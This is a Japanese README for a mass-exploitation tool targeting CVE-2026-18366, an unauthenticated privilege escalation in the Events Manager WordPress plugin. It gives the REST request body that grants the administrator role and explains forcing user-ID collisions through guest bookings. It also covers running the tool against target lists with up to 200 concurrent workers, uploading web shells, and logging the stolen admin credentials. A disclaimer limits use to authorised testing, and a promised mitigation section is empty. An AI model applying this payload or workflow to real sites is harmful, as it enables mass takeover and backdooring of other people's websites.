
Events Manager < 7.4.1 - 未認証の管理者への権限昇格
Events Manager < 7.4.1 - 未認証ユーザーによる管理者権限への権限昇格
この脆弱性は classes/em-archetypes.php 内の EM\Archetypes::map_meta_cap に存在します。このプラグインは権限マッピングのスコープを不適切に設定しているため、以下の問題が発生します:
event または location のカスタム投稿タイプ(CPT)の場合、$caps = [] にリセットされるedit_user、delete_user、promote_user の権限が再設定されることはないhas_cap() が true を返す(ユーザー0=ゲストも含む)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
条件: {id} が、イベントまたはロケーションCPTの wp_posts.ID と一致する必要があります。
⚠️ 未認証のRESTアクセスにはnonceは不要です(ログインCookieなし)。
ゲスト予約(デフォルトで dbem_bookings_anonymous=1)は実際のWPユーザーを作成するため、ID衝突の強制が可能になります。予約nonceはイベントフォーム上で公開されています。
pip install aiohttp
python CVE-2026-18366.py
スクリプトは次の項目を入力するよう求めます:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| オプション | 説明 |
|---|---|
-l, --list | ターゲットURLを含むファイルへのパス |
-s, --speed | 同時実行ワーカー数(1〜200) |
--timeout | リクエストのタイムアウト秒数(デフォルト: 20) |
list.txt ファイルに1行につき1つのターゲットを記述します:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
攻撃に成功した結果は adminS.txt に保存されます:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
WordPress管理者の方は以下の対策を実施してください:
| 属性 | 詳細 |
|---|
| CVE ID | CVE-2026-18366 |
| 重要度 | 🔴 CRITICAL (CVSS 9.8) |
| プラグイン | Events Manager for WordPress |
| 影響を受けるバージョン | < 7.4.1 |
| 脆弱性の種類 | 未認証の権限昇格 |
| 攻撃経路 | ネットワーク |
| 認証要件 | なし |